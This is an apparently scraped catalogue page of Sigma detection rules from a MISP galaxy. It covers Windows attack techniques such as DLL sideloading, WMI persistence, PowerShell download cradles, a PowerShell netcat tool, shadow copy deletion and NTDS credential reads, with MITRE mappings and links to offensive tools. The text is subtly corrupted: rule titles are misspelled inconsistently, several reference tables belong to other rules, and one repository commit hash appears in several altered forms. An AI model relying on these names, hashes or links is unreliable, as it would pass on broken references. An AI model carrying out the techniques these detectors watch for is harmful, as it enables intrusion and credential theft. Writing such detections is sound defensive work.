Detects potential DLL sideloading of "libcurl.dll" by the "gup.exe" process from an uncommon location

The tag is: misp-galaxy:sigma-rules="Potential DLL Sideloadng Of Libcurl.DLL Via GUP.EXE"

View relationships graph

Potential DLL Sideloadng Of Libcurl.DLL Via GUP.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001" with estimative-language:likelihood-probability="almost-certain"

VBA DLL Loaded Via Office Application

Detects VB DLL’s loaded by an office application. Which could indicate the presence of VBA Macros.

The tag is: misp-galaxy:sigma-rules="VBA DLL Loaded Via Office Application"

View relationships graph

VBA DLL Loaded Via Office Application has relationships with:

**Potential Chrome Frame Helper DLL Sideloking**

Detects potential DLL sideloading of "chrome_frame_helper.dll"

The tag is: *misp-galaxy:sigma-rules="Potential Chrome Frame Helper DLL Sideloding"*

View relationships graph

Potential Chrome Frame Helper DLL Sideloding has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001" with estimative-language:likelihood-probability="almost-certain"

*Table 8953. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://hijacklibs.net/entries/3rd_party/google/chrome_frame_helper.html">https://hijacklibs.net/entries/3rd_party/google/chrome_frame_helper.html</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_office_vbadll_load.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_office_vbadll_load.yml</a></td>
</tr>
</tbody>
</table>

**CLR DLL Loaded Via Office Applications**

Detects CLR DLL being loaded by an Office Product

The tag is: *misp-galaxy:sigma-rules="CLR DLL Loaded Via Office Applications"*

View relationships graph

CLR DLL Loaded Via Office Applications has relationships with:


*Table 8954. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_office_dotnet_clr_dll_load.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_office_dotnet_clr_dll_load.yml</a></td>
</tr>
</tbody>
</table>

5826
**CredUI.DLL Loaded By Uncommon Process**

Detects loading of "credui.dll" and related DLLs by an uncommon process. Attackers might leverage this DLL for potential use of "CredUIPromptForCredentials" or "CredUnPackAuthenticationBufferW".

The tag is: *misp-galaxy:sigma-rules="CredUI.DLL Loaded By Uncommon Process"*

View relationships graph

CredUI.DLL Loaded By Uncommon Process has relationships with:


<table>
<thead>
<tr>
<th>Table 8955. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdccdd3742bfef365fee2a9/atomics/T1056.002/T1056.002.md#atomic-test-2---powershell---prompt-user-for-password">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdccdd3742bfef365fee2a9/atomics/T1056.002/T1056.002.md#atomic-test-2---powershell---prompt-user-for-password</a></td>
</tr>
<tr>
<td><a href="https://securitydatasets.com/notebooks/atomic/windows/credential_access/SDWIN-201020013208.html">https://securitydatasets.com/notebooks/atomic/windows/credential_access/SDWIN-201020013208.html</a></td>
</tr>
<tr>
<td><a href="https://github.com/S12cybersecurity/RDPCredentialStealer">https://github.com/S12cybersecurity/RDPCredentialStealer</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_dll_credui_uncommon_process_load.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_dll_credui_uncommon_process_load.yml</a></td>
</tr>
</tbody>
</table>

**Suspicious Encoded Scripts in a WMI Consumer**

Detects suspicious encoded payloads in WMI Event Consumers

The tag is: *misp-galaxy:sigma-rules="Suspicious Encoded Scripts in a WMI Consumer"*

View relationships graph

Suspicious Encoded Scripts in a WMI Consumer has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation Event Subscription - T1546.003" with estimative-language:likelihood-probability="almost-certain"

<table>
<thead>
<tr>
<th>Table 8956. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://github.com/RiccardoAncarani/LiquidSnake">https://github.com/RiccardoAncarani/LiquidSnake</a></td>
</tr>
</tbody>
</table>
WMI Event Subscription

Detects creation of WMI event subscription persistence method

The tag is: misp-galaxy:sigma-rules="WMI Event Subscription"

View relationships graph

WMI Event Subscription has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation Event Subscription - T1546.003" with estimative-language:likelihood-probability="almost-certain"

Table 8957. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/wmi_event/sysmon_wmi_event_subscription.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/wmi_event/sysmon_wmi_event_subscription.yml</a></td>
</tr>
</tbody>
</table>

Suspicious Scripting in a WMI Consumer

Detects suspicious commands that are related to scripting/powershell in WMI Event Consumers

The tag is: misp-galaxy:sigma-rules="Suspicious Scripting in a WMI Consumer"

View relationships graph

Suspicious Scripting in a WMI Consumer has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"

Table 8958. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://in.security/an-intro-into-abusing-and-identifying-wmi-event-subscriptions-for-persistence/">https://in.security/an-intro-into-abusing-and-identifying-wmi-event-subscriptions-for-persistence/</a></td>
</tr>
<tr>
<td><a href="https://github.com/Neo23x0/signature-base/blob/615bf1f6bac3c1bdc417025c40c073e6c2771a76/yara/gen_susp_lnk_files.yar#L19">https://github.com/Neo23x0/signature-base/blob/615bf1f6bac3c1bdc417025c40c073e6c2771a76/yara/gen_susp_lnk_files.yar#L19</a></td>
</tr>
<tr>
<td><a href="https://github.com/RiccardoAncarani/LiquidSnake">https://github.com/RiccardoAncarani/LiquidSnake</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/wmi_event/sysmon_wmi_event_suscripting.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/wmi_event/sysmon_wmi_event_suscripting.yml</a></td>
</tr>
</tbody>
</table>
**Netcat The Powershell Version**

Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network.

The tag is: `misp-galaxy:sigma-rules="Netcat The Powershell Version"`

View relationships graph

Netcat The Powershell Version has relationships with:


Table 8959. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/besimorhino/powercat">https://github.com/besimorhino/powercat</a></td>
</tr>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcc3742bfcf365fee2a9/atomics/T1095/T1095.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcc3742bfcf365fee2a9/atomics/T1095/T1095.md</a></td>
</tr>
<tr>
<td><a href="https://nmap.org/ncat/">https://nmap.org/ncat/</a></td>
</tr>
<tr>
<td><a href="https://github.com/bohops/WSMan-WinRM">https://github.com/bohops/WSMan-WinRM</a></td>
</tr>
</tbody>
</table>

**Suspicious Non PowerShell WSMAN COM Provider**

Detects suspicious use of the WSMAN provider without PowerShell.exe as the host application.

The tag is: `misp-galaxy:sigma-rules="Suspicious Non PowerShell WSMAN COM Provider"`

View relationships graph

Suspicious Non PowerShell WSMAN COM Provider has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Distributed Component Object Model - T1021.003"` with estimative-language:likelihood-probability="almost-certain"

Table 8960. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/bohops/WSMan-WinRM">https://github.com/bohops/WSMan-WinRM</a></td>
</tr>
<tr>
<td><a href="https://bohops.com/2020/05/12/ws-management-com-another-approach-for-winrm-lateral-movement/">https://bohops.com/2020/05/12/ws-management-com-another-approach-for-winrm-lateral-movement/</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/chadtilbury/status/1275851297770610688">https://twitter.com/chadtilbury/status/1275851297770610688</a></td>
</tr>
</tbody>
</table>
Use Get-NetTCPConnection

Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network.

The tag is: *misp-galaxy:sigma-rules=*"Use Get-NetTCPConnection"

View relationships graph

Use Get-NetTCPConnection has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern=*"System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"

**Table 8961. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_susp_get_nettcpconnection.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_susp_get_nettcpconnection.yml</a></td>
</tr>
</tbody>
</table>

Remote PowerShell Session (PS Classic)

Detects remote PowerShell sessions

The tag is: *misp-galaxy:sigma-rules=*"Remote PowerShell Session (PS Classic)"

View relationships graph

Remote PowerShell Session (PS Classic) has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern=*"PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"


**Table 8962. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_remote_powershell_session.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_remote_powershell_session.yml</a></td>
</tr>
</tbody>
</table>
PowerShell Called from an Executable Version Mismatch

Detects PowerShell called from an executable by the version mismatch method

The tag is: `misp-galaxy:sigma-rules="PowerShell Called from an Executable Version Mismatch"`

View relationships graph

PowerShell Called from an Executable Version Mismatch has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001"` with estimative-language:likelihood-probability="almost-certain"

Table 8963. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://adsecurity.org/?p=2921">https://adsecurity.org/?p=2921</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_exe_calling_ps.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_exe_calling_ps.yml</a></td>
<td></td>
</tr>
</tbody>
</table>

Uncommon PowerShell Hosts

Detects alternate PowerShell hosts potentially bypassing detections looking for powershell.exe

The tag is: `misp-galaxy:sigma-rules="Uncommon PowerShell Hosts"`

View relationships graph

Uncommon PowerShell Hosts has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001"` with estimative-language:likelihood-probability="almost-certain"

Table 8964. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_alternate_powershell_hosts.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_alternate_powershell_hosts.yml</a></td>
<td></td>
</tr>
</tbody>
</table>

PowerShell Downgrade Attack - PowerShell

Detects PowerShell downgrade attack by comparing the host versions with the actually used engine version 2.0

The tag is: `misp-galaxy:sigma-rules="PowerShell Downgrade Attack - PowerShell"`
PowerShell Downgrade Attack - PowerShell has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Delete Volume Shadow Copies Via WMI With PowerShell

Shadow Copies deletion using operating systems utilities via PowerShell

The tag is: misp-galaxy:sigma-rules="Delete Volume Shadow Copies Via WMI With PowerShell"

Suspicous XOR Encoded PowerShell Command Line - PowerShell

Detects suspicious powershell process which includes bxor command, alternative obfuscation method to b64 encoded commands.

The tag is: misp-galaxy:sigma-rules="Suspicious XOR Encoded PowerShell Command Line - PowerShell"
Suspicous XOR Encoded PowerShell Command Line - PowerShell has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 8967. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=46">https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=46</a></td>
</tr>
</tbody>
</table>

Tamper Windows Defender - PSClassic

Attempting to disable scheduled scanning and other parts of Windows Defender ATP or set default actions to allow.

The tag is: misp-galaxy:sigma-rules="Tamper Windows Defender - PSClassic"

Table 8968. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdcd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdcd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_tamper_windows_defender_set_mp.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_tamper_windows_defender_set_mp.yml</a></td>
</tr>
</tbody>
</table>

Zip A Folder With PowerShell For Staging In Temp - PowerShell

Use living off the land tools to zip a file and stage it in the Windows temporary folder for later exfiltration.

The tag is: misp-galaxy:sigma-rules="Zip A Folder With PowerShell For Staging In Temp - PowerShell"

Table 8969. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdcd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdcd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_tamper_windows_defender_set_mp.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_tamper_windows_defender_set_mp.yml</a></td>
</tr>
</tbody>
</table>
Suspicious PowerShell Download

Detects suspicious PowerShell download command

The tag is: misp-galaxy:sigma-rules="Suspicious PowerShell Download"

View relationships graph

Suspicious PowerShell Download has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Renamed Powershell Under Powershell Channel

Detects renamed powershell

The tag is: misp-galaxy:sigma-rules="Renamed Powershell Under Powershell Channel"

View relationships graph

Renamed Powershell Under Powershell Channel has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
Potential RemoteFXvGPUDisablement.EXE Abuse

Detects PowerShell module creation where the module Contents are set to "function Get-VMRemoteFXPhysicalVideoAdapter". This could be a sign of potential abuse of the "RemoteFXvGPUDisablement.exe" binary which is known to be vulnerable to module load-order hijacking.

The tag is: misp-galaxy: sigma-rules="Potential RemoteFXvGPUDisablement.EXE Abuse"

View relationships graph

Potential RemoteFXvGPUDisablement.EXE Abuse has relationships with:

- related-to: misp-galaxy: mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 8972. Table References

Links

https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057f9dfcd3742b5f365fee2a9/atomics/T1218/T1218.md

https://github.com/redcanaryco/AtomicTestHarnesses/blob/7e14da116801e3d6f6c6bedb207064577e40572/TestHarnesses/T1218_SignedBinaryProxyExecution/InvokeRemoteFXvGPUDisablementCommand.ps1


Nslookup PowerShell Download Cradle

Detects a powershell download cradle using nslookup. This cradle uses nslookup to extract payloads from DNS records.

The tag is: misp-galaxy: sigma-rules="Nslookup PowerShell Download Cradle"

View relationships graph

Nslookup PowerShell Download Cradle has relationships with:

- related-to: misp-galaxy: mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 8973. Table References

Links

https://twitter.com/Alh4zr3d/status/1566489367232651264
Alternate PowerShell Hosts - PowerShell Module

Detects alternate PowerShell hosts potentially bypassing detections looking for powershell.exe

The tag is: `misp-galaxy:sigma-rules="Alternate PowerShell Hosts - PowerShell Module"`

View relationships graph

Alternate PowerShell Hosts - PowerShell Module has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001"` with estimative-language:likelihood-probability="almost-certain"

Table 8974. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_alternate_powershell_hosts.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_alternate_powershell_hosts.yml</a></td>
</tr>
</tbody>
</table>

Invoke-Obfuscation STDIN+ Launcher - PowerShell Module

Detects Obfuscated use of stdin to execute PowerShell

The tag is: `misp-galaxy:sigma-rules="Invoke-Obfuscation STDIN+ Launcher - PowerShell Module"`

View relationships graph

Invoke-Obfuscation STDIN+ Launcher - PowerShell Module has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027"` with estimative-language:likelihood-probability="almost-certain"

- related-to: `misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001"` with estimative-language:likelihood-probability="almost-certain"

Table 8975. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/issues/1009">https://github.com/SigmaHQ/sigma/issues/1009</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_stdin.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_stdin.yml</a></td>
</tr>
</tbody>
</table>
Bad Opsec Powershell Code Artifacts

focuses on trivial artifacts observed in variants of prevalent offensive ps1 payloads, including Cobalt Strike Beacon, PoshC2, Powerview, Letmein, Empire, Powersploit, and other attack payloads that often undergo minimal changes by attackers due to bad opsec.

The tag is: misp-galaxy:sigma-rules="Bad Opsec Powershell Code Artifacts"

View relationships graph

Bad Opsec Powershell Code Artifacts has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 8976. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.mdeditor.tw/pl/pgRt">https://www.mdeditor.tw/pl/pgRt</a></td>
</tr>
<tr>
<td><a href="https://newtonpaul.com/analysing-fileless-malware-cobalt-strike-beacon/">https://newtonpaul.com/analysing-fileless-malware-cobalt-strike-beacon/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_bad_opsec_artifacts.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_bad_opsec_artifacts.yml</a></td>
</tr>
</tbody>
</table>

Potential Active Directory Enumeration Using AD Module - PsModule

Detects usage of the "Import-Module" cmdlet to load the "Microsoft.ActiveDirectory.Management.dll" DLL. Which is often used by attackers to perform AD enumeration.

The tag is: misp-galaxy:sigma-rules="Potential Active Directory Enumeration Using AD Module - PsModule"

Table 8977. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/cyb3rops/status/1617108657166061568?s=20">https://twitter.com/cyb3rops/status/1617108657166061568?s=20</a></td>
</tr>
<tr>
<td><a href="https://github.com/samratashok/ADModule">https://github.com/samratashok/ADModule</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_active_directory_module_dll_import.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_active_directory_module_dll_import.yml</a></td>
</tr>
</tbody>
</table>
PowerShell Get Clipboard

A General detection for the Get-Clipboard commands in PowerShell logs. This could be an adversary capturing clipboard contents.

The tag is: misp-galaxy:sigma-rules="PowerShell Get Clipboard"

View relationships graph

PowerShell Get Clipboard has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"

Table 8978. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/OTRF/detection-hackathon-apt29/issues/16">https://github.com/OTRF/detection-hackathon-apt29/issues/16</a></td>
</tr>
<tr>
<td><a href="https://github.com/OTRF/ThreatHunter-Playbook/blob/2d4257f630f4c9770f78d0c1df059f891ffcc3fec/docs/evals/apt29/detections/7.A.2_F4609F7E-C4DB-4327-91D4-59A58C962A02.md">https://github.com/OTRF/ThreatHunter-Playbook/blob/2d4257f630f4c9770f78d0c1df059f891ffcc3fec/docs/evals/apt29/detections/7.A.2_F4609F7E-C4DB-4327-91D4-59A58C962A02.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_get_clipboard.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_get_clipboard.yml</a></td>
</tr>
</tbody>
</table>

PowerShell Decompress Commands

A General detection for specific decompress commands in PowerShell logs. This could be an adversary decompressing files.

The tag is: misp-galaxy:sigma-rules="PowerShell Decompress Commands"

View relationships graph

PowerShell Decompress Commands has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"

Table 8979. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/OTRF/detection-hackathon-apt29/issues/8">https://github.com/OTRF/detection-hackathon-apt29/issues/8</a></td>
</tr>
<tr>
<td><a href="https://github.com/OTRF/ThreatHunter-Playbook/blob/2d4257f630f4c9770f78d0c1df059f891ffcc3fec/docs/evals/apt29/detections/4.A.3_09F29912-8E93-461E-9E89-3F06F6763383.md">https://github.com/OTRF/ThreatHunter-Playbook/blob/2d4257f630f4c9770f78d0c1df059f891ffcc3fec/docs/evals/apt29/detections/4.A.3_09F29912-8E93-461E-9E89-3F06F6763383.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_decompress_commands.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_decompress_commands.yml</a></td>
</tr>
</tbody>
</table>
AD Groups Or Users Enumeration Using PowerShell - PoshModule

Adversaries may attempt to find domain-level groups and permission settings. The knowledge of domain-level permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as domain administrators.

The tag is: misp-galaxy:sigma-rules="AD Groups Or Users Enumeration Using PowerShell - PoshModule"

View relationships graph

AD Groups Or Users Enumeration Using PowerShell - PoshModule has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Local Groups - T1069.001" with estimative-language:likelihood-probability="almost-certain"

Table 8980. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdcfdd3742bfcf365fee2a9/atomics/T1069.002/T1069.002.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdcfdd3742bfcf365fee2a9/atomics/T1069.002/T1069.002.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_susp_ad_group_reco.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_susp_ad_group_reco.yml</a></td>
</tr>
</tbody>
</table>

Invoke-Obfuscation Via Use Clip - PowerShell Module

Detects Obfuscated Powershell via use Clip.exe in Scripts

The tag is: misp-galaxy:sigma-rules="Invoke-Obfuscation Via Use Clip - PowerShell Module"

View relationships graph

Invoke-Obfuscation Via Use Clip - PowerShell Module has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 8981. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/issues/1009">https://github.com/SigmaHQ/sigma/issues/1009</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_via_use_clip.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_via_use_clip.yml</a></td>
</tr>
</tbody>
</table>
Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION - PowerShell Module

Detected Obfuscated Powershell via VAR++ LAUNCHER

The tag is: misp-galaxy:sigma-rules="Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION - PowerShell Module"

View relationships graph

Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION - PowerShell Module has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 8982. Table References

Links

- https://github.com/SigmaHQ/sigma/issues/1009
- https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_via_var.yml

Suspicious Get Local Groups Information

Adversaries may attempt to find local system groups and permission settings. The knowledge of local system permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as the users found within the local administrators group.

The tag is: misp-galaxy:sigma-rules="Suspicious Get Local Groups Information"

View relationships graph

Suspicious Get Local Groups Information has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Local Groups - T1069.001" with estimative-language:likelihood-probability="almost-certain"

Table 8983. Table References

Links

- https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdccd3742bfcf365fee2a9/atomics/T1069.001/T1069.001.md
- https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_susp_local_group_reco.yml
Suspicious Get-ADDBAccount Usage

Detects suspicious invocation of the Get-ADDBAccount script that reads from a ntds.dit file and may be used to get access to credentials without using any credential dumpers.

The tag is: `misp-galaxy:sigma-rules="Suspicious Get-ADDBAccount Usage"`

View relationships graph

Suspicious Get-ADDBAccount Usage has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="NTDS - T1003.003"` with estimative-language:likelihood-probability="almost-certain"

Table 8984. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.n00py.io/2022/03/manipulating-user-passwords-without-mimikatz/">https://www.n00py.io/2022/03/manipulating-user-passwords-without-mimikatz/</a></td>
</tr>
<tr>
<td><a href="https://github.com/MichaelGrafnetter/DSInternals/blob/7ba59c12ee9a1cb430d7dc186a3366842dd612c8/Documentation/PowerShell/Get-ADDBAccount.md">https://github.com/MichaelGrafnetter/DSInternals/blob/7ba59c12ee9a1cb430d7dc186a3366842dd612c8/Documentation/PowerShell/Get-ADDBAccount.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_get_addbaccount.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_get_addbaccount.yml</a></td>
</tr>
</tbody>
</table>

Clear PowerShell History - PowerShell Module

Detects keywords that could indicate clearing PowerShell history.

The tag is: `misp-galaxy:sigma-rules="Clear PowerShell History - PowerShell Module"`

View relationships graph

Clear PowerShell History - PowerShell Module has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Clear Command History - T1070.003"` with estimative-language:likelihood-probability="almost-certain"

Table 8985. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://gist.github.com/hook-s3c/7363a856c3cdbadeb71085147f042c1a">https://gist.github.com/hook-s3c/7363a856c3cdbadeb71085147f042c1a</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_clear_powershell_history.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_clear_powershell_history.yml</a></td>
</tr>
</tbody>
</table>

Invoke-Obfuscation Obfuscated IEX Invocation - PowerShell Module

Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-
Obfuscation framework from the code block cited in the reference section below

